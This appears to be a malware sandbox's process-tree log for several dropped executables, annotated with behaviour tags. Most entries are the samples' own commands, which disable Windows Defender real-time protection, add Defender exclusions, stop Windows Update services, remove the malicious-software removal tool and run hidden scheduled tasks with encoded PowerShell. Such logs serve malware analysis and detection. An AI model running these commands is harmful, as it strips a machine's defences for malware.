C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
11⤵
PID:4448

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
12⤵
PID:4456

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
13⤵
PID:4464

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
11⤵
PID:4512

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
12⤵
PID:4564

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
13⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:4572

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
14⤵
PID:4892

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
10⤵
PID:4996

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
11⤵
PID:5020

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
12⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:5028

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
13⤵
PID:2960

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bRfJDuKmNsszhfPRJj" /SC once /ST 22:35:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\JeVYnmU.exe\" oU /xhbdides 385134 /S" /V1 /F
10⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3140 -s 520
10⤵
- Program crash
PID:4320

C:\Users\Admin\AppData\Local\Temp\1000070001\monster.exe
"C:\Users\Admin\AppData\Local\Temp\1000070001\monster.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1948

C:\Users\Admin\AppData\Local\Temp\onefile_1948_133633964359656000\stub.exe
"C:\Users\Admin\AppData\Local\Temp\1000070001\monster.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1596

C:\Users\Admin\AppData\Local\Temp\1000075001\legs.exe
"C:\Users\Admin\AppData\Local\Temp\1000075001\legs.exe"
5⤵
- Executes dropped EXE
PID:2300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2300 -s 64
6⤵
- Loads dropped DLL
- Program crash
PID:1464

C:\Users\Admin\AppData\Local\Temp\1000082001\quickaccesspopup.exe
"C:\Users\Admin\AppData\Local\Temp\1000082001\quickaccesspopup.exe"
5⤵
- Executes dropped EXE
PID:3980

C:\Users\Admin\AppData\Local\Temp\1000087001\chromedriver.exe
"C:\Users\Admin\AppData\Local\Temp\1000087001\chromedriver.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:296

C:\Users\Admin\AppData\Local\Temp\1000087001\chromedriver.exe
"C:\Users\Admin\AppData\Local\Temp\1000087001\chromedriver.exe"
6⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:4568

C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe
"C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe"
5⤵
- Executes dropped EXE
PID:3956

C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe
"C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe"
6⤵
- Executes dropped EXE
PID:1356

C:\Users\Admin\AppData\Local\Temp\1000016001\a08da68092.exe
"C:\Users\Admin\AppData\Local\Temp\1000016001\a08da68092.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:816

C:\Users\Admin\AppData\Local\Temp\1000017001\ce412bbc54.exe
"C:\Users\Admin\AppData\Local\Temp\1000017001\ce412bbc54.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1576

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
4⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1712

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7829758,0x7fef7829768,0x7fef7829778
5⤵
PID:2700

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1248 --field-trial-handle=1256,i,5197663217944022233,16218708258486141763,131072 /prefetch:2
5⤵
PID:2840

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1572 --field-trial-handle=1256,i,5197663217944022233,16218708258486141763,131072 /prefetch:8
5⤵
PID:1208

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1652 --field-trial-handle=1256,i,5197663217944022233,16218708258486141763,131072 /prefetch:8
5⤵
PID:1956

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2224 --field-trial-handle=1256,i,5197663217944022233,16218708258486141763,131072 /prefetch:1
5⤵
PID:2096

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2232 --field-trial-handle=1256,i,5197663217944022233,16218708258486141763,131072 /prefetch:1
5⤵
PID:3036

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3248 --field-trial-handle=1256,i,5197663217944022233,16218708258486141763,131072 /prefetch:1
5⤵
PID:3068

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1240 --field-trial-handle=1256,i,5197663217944022233,16218708258486141763,131072 /prefetch:2
5⤵
PID:2456

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=2608 --field-trial-handle=1256,i,5197663217944022233,16218708258486141763,131072 /prefetch:1
5⤵
PID:2740

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3484 --field-trial-handle=1256,i,5197663217944022233,16218708258486141763,131072 /prefetch:8
5⤵
PID:2036

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3772 --field-trial-handle=1256,i,5197663217944022233,16218708258486141763,131072 /prefetch:8
5⤵
PID:1088

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2056

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "4140048491551640743467897891359153498675757216-193714047930928714-1103918786"
1⤵
PID:4092

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:820

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4356

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:4364

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
- Drops file in Windows directory
PID:4428

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:4404

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:4400

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:4488

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:4528

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
- Launches sc.exe
PID:4544

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
- Power Settings
PID:4592

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
- Power Settings
PID:4600

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
- Power Settings
PID:4608

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
- Power Settings
PID:4616

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:4624

C:\Windows\explorer.exe
explorer.exe
2⤵
- Modifies data under HKEY_USERS
PID:4708

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2103255896776784491-1225569994-829534569-5365579831739475841-861232594-1587792682"
1⤵
PID:4464

C:\Windows\system32\taskeng.exe
taskeng.exe {A648E0B0-CA90-4CC2-857A-94D3B5D89F0D} S-1-5-21-3691908287-3775019229-3534252667-1000:UOTHCPHQ\Admin:Interactive:[1]
1⤵
PID:5068

C:\ProgramData\aeksbq\nlkwja.exe
C:\ProgramData\aeksbq\nlkwja.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5012

C:\ProgramData\aeksbq\nlkwja.exe
"C:\ProgramData\aeksbq\nlkwja.exe"
3⤵
- Executes dropped EXE
PID:2924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:3292

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:3368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:4356

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:3692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:1700

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:4928

C:\ProgramData\aeksbq\nlkwja.exe
C:\ProgramData\aeksbq\nlkwja.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4896

C:\ProgramData\aeksbq\nlkwja.exe
"C:\ProgramData\aeksbq\nlkwja.exe"
3⤵
- Executes dropped EXE
PID:1372

C:\ProgramData\aeksbq\nlkwja.exe
C:\ProgramData\aeksbq\nlkwja.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:756

C:\ProgramData\aeksbq\nlkwja.exe
"C:\ProgramData\aeksbq\nlkwja.exe"
3⤵
- Executes dropped EXE
PID:4736

C:\Windows\system32\taskeng.exe
taskeng.exe {7D518806-0B1C-40C1-AC1B-AA75C180184E} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:5020

C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\JeVYnmU.exe
C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\JeVYnmU.exe oU /xhbdides 385134 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1264

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:912

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:1876

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:3884

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:5108

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:3948

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:4880

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:4016

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:3736

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:4076

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:4900

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:2732

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:2392

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:3164

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:1904

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:5040

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5036

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:4896

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gBEfOAuak" /SC once /ST 20:50:18 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1700

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gBEfOAuak"
3⤵
PID:1916

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gBEfOAuak"
3⤵
PID:4168

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:4220

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:2084

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:3820

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1048

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gzAISXFPN" /SC once /ST 15:16:22 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1844

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gzAISXFPN"
3⤵
PID:3664

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gzAISXFPN"
3⤵
PID:1400

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
3⤵
PID:2448

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
4⤵
PID:2612

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:3068

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
6⤵
PID:3500

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3724

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1276

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3328

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:3996

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3988

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3260

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3380

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2176

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\cksoItPsQhGrxIuH\OBOPNmEX\yzpLuEWflZTraHfc.wsf"
3⤵
PID:2404

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\cksoItPsQhGrxIuH\OBOPNmEX\yzpLuEWflZTraHfc.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:2920

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QVWjqfQytQiLC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:3252

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QVWjqfQytQiLC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1440

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XPXpeEiKDyUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:3320

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XPXpeEiKDyUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2944

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:992

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
